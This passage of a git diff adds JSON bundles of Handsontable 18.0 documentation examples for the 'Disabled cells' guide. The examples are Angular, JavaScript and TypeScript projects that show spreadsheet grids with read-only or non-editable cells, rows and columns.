\"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example4-disabled-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent implements AfterViewInit {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n ngAfterViewInit(): void {\n const hot = this.hotTable?.hotInstance;\n\n hot?.updateSettings({\n cells: (row, _col, prop) => {\n if (hot.getDataAtRowProp(row, prop as string) === 'Nissan') {\n return { editor: false };\n }\n return { editor: 'text' };\n },\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/disabled-cells/angular/example4.ts","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example4","exampleTitle":"To disable a cell (2)","docPermalink":"/disabled-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__angular__exampleReadOnlyGrid.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__angular__exampleReadOnlyGrid.ts.json new file mode 100644 index 00000000..d3024901 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__angular__exampleReadOnlyGrid.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Disabled cells · To disable a cell · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example-readonly-grid',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings = {\n readOnly: true,\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/disabled-cells/angular/exampleReadOnlyGrid.ts","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"exampleReadOnlyGrid","exampleTitle":"To disable a cell","docPermalink":"/disabled-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example1.js.json new file mode 100644 index 00000000..83cdfacb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Disabled cells · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n {\n data: 'car',\n readOnly: true,\n },\n {\n data: 'year',\n },\n {\n data: 'chassis',\n },\n {\n data: 'bumper',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/disabled-cells/javascript/example1.js","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/disabled-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example1.ts.json new file mode 100644 index 00000000..8c4ed672 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Disabled cells · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n {\n data: 'car',\n readOnly: true,\n },\n {\n data: 'year',\n },\n {\n data: 'chassis',\n },\n {\n data: 'bumper',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/disabled-cells/javascript/example1.ts","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/disabled-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example2.js.json new file mode 100644 index 00000000..4d0ac3bb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Disabled cells · To disable a row · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n cells(row, col) {\n return hot.getData()[row][col] === 'Nissan' ? { readOnly: true } : {};\n },\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/disabled-cells/javascript/example2.js","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example2","exampleTitle":"To disable a row","docPermalink":"/disabled-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example2.ts.json new file mode 100644 index 00000000..73788cc6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Disabled cells · To disable a row · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n cells(row, col) {\n return hot.getData()[row][col] === 'Nissan' ? { readOnly: true } : {};\n },\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/disabled-cells/javascript/example2.ts","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example2","exampleTitle":"To disable a row","docPermalink":"/disabled-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example3.js.json new file mode 100644 index 00000000..b2cd4890 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Disabled cells · To disable a column (non-editable) · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\n\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n {\n data: 'car',\n editor: false,\n },\n {\n data: 'year',\n editor: 'numeric',\n },\n {\n data: 'chassis',\n editor: 'text',\n },\n {\n data: 'bumper',\n editor: 'text',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/disabled-cells/javascript/example3.js","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example3","exampleTitle":"To disable a column (non-editable)","docPermalink":"/disabled-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example3.ts.json new file mode 100644 index 00000000..dde16670 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Disabled cells · To disable a column (non-editable) · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n {\n data: 'car',\n editor: false,\n },\n {\n data: 'year',\n editor: 'numeric',\n },\n {\n data: 'chassis',\n editor: 'text',\n },\n {\n data: 'bumper',\n editor: 'text',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/disabled-cells/javascript/example3.ts","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example3","exampleTitle":"To disable a column (non-editable)","docPermalink":"/disabled-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example4.js.json new file mode 100644 index 00000000..0866e300 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Disabled cells · To disable a cell (2) · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4');\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n cells(row, _col, prop) {\n return hot.getDataAtRowProp(row, prop) === 'Nissan' ? { editor: false } : { editor: 'text' };\n },\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/disabled-cells/javascript/example4.js","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example4","exampleTitle":"To disable a cell (2)","docPermalink":"/disabled-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example4.ts.json new file mode 100644 index 00000000..5ccf39cc --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Disabled cells · To disable a cell (2) · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
